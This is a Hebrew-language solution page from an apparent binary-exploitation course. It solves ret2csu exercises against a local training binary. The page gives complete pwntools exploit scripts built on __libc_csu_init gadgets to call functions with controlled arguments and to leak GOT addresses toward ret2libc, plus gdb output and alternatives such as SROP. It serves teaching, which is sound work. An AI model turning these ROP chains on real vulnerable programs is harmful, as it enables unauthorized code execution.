6.2 ret2csu פתרון
פתרון - ret2csu¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להיות שונות בין גרסאות מהדר, אז תמיד שלפו את הכתובות מהבינארי שלכם ולא תעתיקו עיוור.
פתרון תרגיל 1 - סיור, הגנות, ואישור שאין pop rdx¶
בדיקת ההגנות:
בדיוק מה שרצינו: NX פעיל, אין canary, אין PIE. כל הכתובות בבינארי קבועות.
מוודאים שאין pop rdx:
אין פלט. אין דרך פשוטה לטעון את rdx, ולכן אנחנו זקוקים ל-ret2csu. מאשרים שהפונקציה קיימת:
מצוין, יש לנו את מאגר הגאדג'טים.
פתרון תרגיל 2 - מציאת שני הגאדג'טים¶
מפרקים את סוף הפונקציה:
והפלט הרלוונטי:
00000000004011c0 <__libc_csu_init>:
...
4011da: mov rdx, r15
4011dd: mov rsi, r14
4011e0: mov edi, r13d
4011e3: call QWORD PTR [r12+rbx*8]
4011e7: add rbx, 0x1
4011eb: cmp rbp, rbx
4011ee: jne 4011da
4011f0: add rsp, 0x8
4011f4: pop rbx
4011f5: pop rbp
4011f6: pop r12
4011f8: pop r13
4011fa: pop r14
4011fc: pop r15
4011fe: ret
משם קוראים את שתי הכתובות:
csu_call = 0x4011da- השורהmov rdx, r15, שממנה מתחיל רצף ה-mov/call.csu_pop = 0x4011f4- השורהpop rbx, שממנה מתחיל רצף שש הוראות ה-pop עד ה-ret.
כמו שהזכרנו בתרגול, גאדג'ט ה-mov/call מסתיים ב-call ולא ב-ret, ולכן ROPgadget בברירת מחדל לא מציג אותו. objdump הוא הדרך הבטוחה למצוא אותו.
פתרון תרגיל 3 - מציאת התא של מצביע הפונקציה¶
call [r12+rbx*8] עם rbx=0 הוא call [r12], כלומר r12 צריך להצביע על תא שמכיל את כתובת print_flag. התא הזה הוא g_target:
מוודאים ש-g_target באמת מכיל את הכתובת של print_flag:
$ gdb ./demo
pwndbg> p print_flag
$1 = {void (unsigned int, unsigned long, unsigned long)} 0x401176 <print_flag>
pwndbg> x/gx &g_target
0x404050 <g_target>: 0x0000000000401176
הערך בתוך g_target (בכתובת 0x404050) הוא 0x401176, שזו בדיוק הכתובת של print_flag. אז נשים r12 = 0x404050 (הכתובת של g_target), ואז call [r12] יקרא ל-print_flag. אל תשימו את 0x401176 ב-r12 - זו טעות קלאסית שתגרום לקריאה לזבל.
פתרון תרגיל 4 - הchain המלאה¶
קודם ה-offset. שולחים תבנית מחזורית וקוראים איזה ערך נכנס למצביע ההוראות:
from pwn import *
context.binary = ELF('./demo')
p = process('./demo')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp, 8)))
עבור הbuffer של 64 בתים ו-saved rbp של 8 בתים יוצא offset של 72. עכשיו ה-exploit המלא:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./demo')
# two __libc_csu_init gadgets (pull them from your own binary)
csu_pop = 0x4011f4 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_call = 0x4011da # mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]
g_target = elf.symbols['g_target'] # 0x404050 - the cell holding a pointer to print_flag
exit_fn = elf.symbols['exit']
offset = 72
payload = flat({offset: [
csu_pop,
0, # rbx = 0 -> call [r12+0]
1, # rbp = 1 -> don't loop back
g_target, # r12 = &g_target
0xdeadbeef, # r13 -> edi (arg1, 32 bits)
0xcafebabecafebabe, # r14 -> rsi (arg2)
0x1337133713371337, # r15 -> rdx (arg3)
csu_call,
0, 0, 0, 0, 0, 0, 0, # seven padding slots: add rsp,8 + six pop
exit_fn, # the final ret
]])
p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט:
אם רוצים לוודא שהאוגרים באמת נכונים, עוצרים ב-print_flag:
$ gdb ./demo
pwndbg> break *print_flag
pwndbg> run < payload.bin
pwndbg> p/x $rdi
$1 = 0xdeadbeef
pwndbg> p/x $rsi
$2 = 0xcafebabecafebabe
pwndbg> p/x $rdx
$3 = 0x1337133713371337
שלושת הארגומנטים במקום. למה זה עבד: גאדג'ט ה-pop טען את אוגרי הביניים, גאדג'ט ה-mov/call העביר אותם ל-rdi/rsi/rdx וקרא ל-print_flag דרך [g_target], שלושת ה-if עברו, והדגל הודפס. איך להכליל: כל קריאה ל-func(a,b,c) ב-64 ביט בלי pop rsi/pop rdx נבנית בדיוק ככה. אם arg1 צריך להיות כתובת מלאה של 64 ביט, הוסיפו pop rdi ; ret אחרי גאדג'ט ה-call, כי mov edi, r13d מגביל אתכם ל-32 ביט.
טעות נפוצה שכדאי להדגים לעצמכם: אם משמיטים סלוט padding אחד אחרי csu_call, ה-ret הסופי ישלוף את הערך הלא נכון והתוכנית תקרוס אחרי שהדגל כבר הודפס. אם שוכחים את rbp=1, ה-jne יילקח, נחזור ללולאה ונקרא ל-[r12+8] עם זבל - קריסה עוד לפני הדגל.
פתרון תרגיל 5 - מה עושים כשאין __libc_csu_init¶
על בינארי שקומפל ב-glibc 2.34 ומעלה:
אין פלט - הפונקציה נעלמה. מ-glibc 2.34 שינו את __libc_start_main כך שהוא כבר לא מקבל מצביעי init/fini, והמהדר הפסיק לפלוט את __libc_csu_init. אז מה החלופות?
- גאדג'ט
mov rdxאחר: לפעמים נשארים בבינארי קטעים שקולים. שווה לנסותROPgadget --binary ./demo_modern | grep 'mov rdx'ולראות אם יש משהו שימושי (למשלmov rdx, ... ; retאו גאדג'ט call עקיף אחר). - גאדג'טים מ-libc: אם יש leak של כתובת libc, מרחב הגאדג'טים של libc ענק וכמעט תמיד יכיל
pop rdx ; ret.one_gadget ./libc.so.6אף מוצא כתובת אחת שפותחת shell בלי לגעת בארגומנטים. - טכניקת SROP (6.3): מזייפים signal frame וקובעים את כל האוגרים בבת אחת, כולל
rdx. זו החלופה הישירה ל-ret2csuכשאין את גאדג'טי ה-csu. - טכניקת ret2dlresolve (6.4): מכריחים את ה-linker לפענח ולקרוא לפונקציה בשבילנו, בלי leak ובלי גאדג'טים לאוגרים.
איך להכליל: ret2csu הוא כלי מצוין, אבל הוא לא אוניברסלי לנצח. תמיד קודם בדקו אם __libc_csu_init בכלל קיים, ואם לא - עברו ל-SROP או ל-ret2dlresolve.
פתרון תרגיל 6 (בונוס) - קריאה לפונקציית libc דרך ה-GOT¶
כשהיעד הוא פונקציית libc, לא צריך מצביע גלובלי משלנו - כניסת ה-GOT של הפונקציה כבר מכילה את כתובתה המפוענחת. נכוון את r12 על write@got:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./demo')
csu_pop = 0x4011f4
csu_call = 0x4011da
offset = 72
payload = flat({offset: [
csu_pop,
0, # rbx = 0
1, # rbp = 1
elf.got['write'], # r12 = &write@got -> call [write@got] == write
1, # r13 -> edi = fd = 1 (fits nicely in 32 bits)
elf.symbols['g_target'], # r14 -> rsi = source address to print
8, # r15 -> rdx = byte count
csu_call,
0, 0, 0, 0, 0, 0, 0, # seven padding slots
elf.symbols['main'], # go back to main so we can overflow again
]])
p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).hex())
הפלט יהיה שמונת הבתים שנמצאים ב-g_target (כלומר הכתובת של print_flag), מודפסים כ-hex גולמי. למה זה עבד: call [write@got] קורא את כתובת write מתוך ה-GOT וקופץ אליה, כשה-fd, כתובת המקור, וספירת הבתים כבר טעונים ב-edi/rsi/rdx דרך גאדג'ט ה-mov/call. איך להכליל: זה בדיוק הצעד הראשון בleak chain - write(1, elf.got['puts'], 8) מדליף את כתובת puts ב-libc, ומשם מחשבים את בסיס libc ועוברים ל-ret2libc. שימו לב ש-main בסוף הchain מחזיר אותנו לזרימה הvulnerable, כך שאפשר לשלוח payload שני שמנצל את הכתובת שדלפה.